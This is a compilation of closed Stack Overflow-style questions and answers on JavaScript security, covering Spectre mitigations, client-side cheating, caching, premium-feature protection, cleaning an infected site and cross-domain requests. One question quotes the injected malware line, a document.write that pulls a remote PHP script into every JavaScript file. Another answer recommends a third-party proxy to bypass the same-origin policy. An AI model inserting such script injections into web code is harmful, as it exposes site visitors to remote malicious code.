Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 5 years ago.
Improve this question
I read about Spectre (CVE-2017-5753) but it is unclear how it actually affect the everyday programmer? I read a couple articles but I am still not sure if it may break any of my old project or existing code. It would be great to know what I should look out for when trying to adapt to the changes Spectre introduced about how browsers processes JavaScript.
After researching I found some recommendations here.
Best practices summed briefly:
Prevent cookies from being loaded into the memory of the renderer using options present in the Set-Cookie header.
Make it hard to guess and access the URL of pages that contain sensitive information. If the URL is known to the attacker, the renderer might be forced to load it into its memory. Same-origin policies alone do not protect against these attacks.
Ensure that all responses are returned with the correct MIME type, and that the content type is marked as nosniff. This will prevent the browser from reinterpreting the contents of the response, and can prevent it from being loaded into the memory of the renderer when a malicious site tries to load it in certain ways.
References:
https://www.scademy.com/recovering-from-spectre-javascript-changes/
https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/
https://blogs.windows.com/msedgedev/2018/01/03/speculative-execution-mitigations-microsoft-edge-internet-explorer/
Related
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 2 years ago.
Improve this question
I am using https://pavlovia.org to run some experiments in behavioral economics in risky-choice. The task requires the subjects to play (or not) different lotteries. The system creates javascript files which it runs on the subject's browser. However, I found it very easy to inspect and edit the javascript which would allow a malicious subject to give themselves an advantage (e.g. increase the probability of a lottery paying out).
If someone makes all the lotteries "win", it will be easy to tell they cheated, but if they boost the probabilities by a small amount it will be very hard.
Other than re-writing everything so that the logic is server-side, I wondered whether it is possible to compute a hash (md5 or sha) of the JS code on the client and sent it back to the server to check wither the JS has been edited. I found several posts related to computing hashes in javascript, but I wasn't sure whether a file could compute its own hash.
I appreciate that a sophisticated user could also hack that part of the code (e.g. copy the original file to another name and then edit the code that takes the hash to point to the original file, or something like that). But i wonder if this technique could be one more barrier to cheating.
The user has the ability to debug the JS code while running and replace values in some variables. Even if JS hashing was possible, it would not prevent that. I believe there is no other way than making part of the crucial logic on the server side.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 6 years ago.
Improve this question
does browsers cache interpreted javascript bytecode?
Depends on the Expires header (date/time after which the response is considered stale).
Basically, the first time your browser reaches to a server to get the file, the server responds with something like "here's the file, store it for as long as you can".
Then the browser uses its cache to store it there. The cache size is usually configurable so you can't know how much it is.
After a resource expires, the browser would then request and store it again.
Most CDNs would attempt to store their static resources for a year in your browser's cache. If they change something, they normally change the resource's name by appending a parameter (e.g. http://example.com/js/jquery.js?v=1) and your browser would recognize it as a new file.
All of the above is somewhat simplified but should work as a general description.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I have an application done fully in JavaScript using Ember.js. What I want help with is the following:
I have two account types: basic and premium.
Depending on what account type the user have I wish to display ads him.
The user can use parts of my application only if he has a premium account.
What I must have in mind in order to protect my application so it's secure against people trying to use premium features without having that privilege? Because all Javascript will be sent as a single file, people can just look at all my app code and maybe reverse it or even copy it and use locally without even entering my site, which would put all my effort to waste.
Your client side code shouldn't be considered more than sugar for the user's experience, not a layer that is trusted.
That means your backend should be pessimistic in nature, not trusting requests from the client, but making sure they can make said request, and sanitizing any data sent to them assuming the user is trying to do harm.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
My web site has been infested with a virus. All javascript files contain the following code:
/*a61bd2*/
document.write("<script src='http://www.blog-environnement.fr/wp-admin /DxRcTnm8.php?id=128633385' type='text/javascript'></" + "script>");
/*/a61bd2*/
I can clean it but I have to open each javascript individually to erase the code. I wonder if it is possible with a script to automatically erase this code from all javascripts within my web site?
If this is possible and if someone could give me some tips because as I don't want to have the problem again.
than you all, sorry for my english.
Don't try to clean up your compromised code. Get a clean copy and work with that instead.
Take your server off line
Check your workstation for malware (in case the attack vector was via something like stealing your passwords that way)
Build a clean server
Make sure it has the latest version of all the software / libraries that you depend on
Restore your site from a known good backup
Start monitoring your site to see if it gets compromised again
Examine the logs from the compromised server to see if you can find out the nature of the attack from there
Security audit all your code (both the clean backup and the edited version from the compromised server).
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I want to request a list of sizes from a database on my server (which is obviously not on ebay.co.uk's domain). I could do it entirely through flash... but it seems clumsy for a simple form. I think the ideal solution would be a javascript + flash solution. The problem is all of the sites I have found seem to have very complete solutions and ebay does not like huge chunks of javascript (I am not sure exactly which functions it allows and doesn't... but the less javascript the better).
So what I am looking for is a very small and simple cross domain ajax solution that will allow me to make requests from my server. Anyone any ideas?
TIA
Read Ways to circumvent the same-origin policy for many ways of circumventing the same-origin policy.
In your case, I would suggest http://anyorigin.com - it's simple to use and (unless you're sending volatile information) perfectly viable. It could all be done in a couple of lines of js!
eBay will not allow including javascript or even iframes in item description.
The only solution for that will probably be using Flash object(that is allowed by eBay) that will communicate with server side scripting page(php/asp) which will make the request to your database.
The cross-domain communication will be between the flash and the server side page, this issue can be easily solved.